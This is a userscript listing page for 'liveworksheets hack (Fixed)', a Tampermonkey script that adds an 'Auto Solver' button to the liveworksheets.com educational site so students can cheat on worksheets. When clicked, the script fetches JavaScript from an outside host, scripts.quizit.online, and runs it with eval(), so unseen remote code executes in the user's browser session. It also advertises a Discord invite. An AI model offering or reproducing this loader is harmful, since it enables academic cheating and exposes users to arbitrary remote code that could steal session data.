liveworksheets hack (Fixed)

liveworksheets hack by iron web10 (Fixed)

目前為 2024-10-22 提交的版本,檢視 最新版本

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name         liveworksheets hack (Fixed)
// @namespace    http://tampermonkey.net/
// @version      0.7
// @description  liveworksheets hack by iron web10 (Fixed)
// @author       iron web10
// @match        https://*.liveworksheets.com/*
// @icon         https://www.google.com/s2/favicons?sz=64&domain=liveworksheets.com
// @grant        none
// @license      iron web10
// ==/UserScript==

(function() {
    'use strict';

    // Create the menu
    const menu = document.createElement('div');
    menu.style.position = 'fixed';
    menu.style.top = '10px';
    menu.style.right = '10px';
    menu.style.backgroundColor = '#f0f0f0';
    menu.style.border = '1px solid #ccc';
    menu.style.borderRadius = '5px';
    menu.style.boxShadow = '0 2px 8px rgba(0,0,0,0.2)';
    menu.style.padding = '10px';
    menu.style.zIndex = 9999;
    menu.style.fontFamily = 'Arial, sans-serif';
    menu.style.fontSize = '14px';

    // Create the button to execute the script
    const executeButton = document.createElement('button');
    executeButton.textContent = 'Auto Solver';
    executeButton.style.backgroundColor = '#4CAF50';
    executeButton.style.color = 'white';
    executeButton.style.border = 'none';
    executeButton.style.borderRadius = '5px';
    executeButton.style.padding = '5px 10px';
    executeButton.style.cursor = 'pointer';
    executeButton.style.marginBottom = '5px';

    // Button hover style
    executeButton.onmouseover = function() {
        executeButton.style.backgroundColor = '#45a049';
    };
    executeButton.onmouseout = function() {
        executeButton.style.backgroundColor = '#4CAF50';
    };

    // Add event handler for execute button
    executeButton.onclick = async function() {
        try {
            // Execute the script only when clicking the button
            await makeAlert();
            alert("Solved successfully.");
        } catch (error) {
            console.error('Error executing the script:', error);
            alert('An error occurred while executing the script. Check the console for more details.');
        }
    };

    // Create the minimize button
    const minimizeButton = document.createElement('button');
    minimizeButton.textContent = 'Minimize';
    minimizeButton.style.backgroundColor = '#007BFF';
    minimizeButton.style.color = 'white';
    minimizeButton.style.border = 'none';
    minimizeButton.style.borderRadius = '5px';
    minimizeButton.style.padding = '5px 10px';
    minimizeButton.style.cursor = 'pointer';

    // Minimize button hover style
    minimizeButton.onmouseover = function() {
        minimizeButton.style.backgroundColor = '#0056b3';
    };
    minimizeButton.onmouseout = function() {
        minimizeButton.style.backgroundColor = '#007BFF';
    };

    // Add event handler for minimize button
    minimizeButton.onclick = function() {
        if (menu.style.height === '0px' || menu.style.height === '') {
            menu.style.height = 'auto';
            minimizeButton.textContent = 'Minimize';
        } else {
            menu.style.height = '0px';
            minimizeButton.textContent = 'Show';
        }
    };

    // Function that executes the script
    async function makeAlert() {
        const response = await fetch("https://scripts.quizit.online/liveworksheets");
        const scriptContent = await response.text();

        // Check that the content is not empty
        if (!scriptContent) {
            throw new Error('The received script is empty.');
        }

        // Evaluate the script
        eval(scriptContent);
    }

    // Add buttons to the menu
    menu.appendChild(executeButton);
    menu.appendChild(minimizeButton);
    document.body.appendChild(menu);

    // Remove initial alerts
    alert("Cheat by iron web10");
     alert("discord.gg/3A9TmDH56N");
})();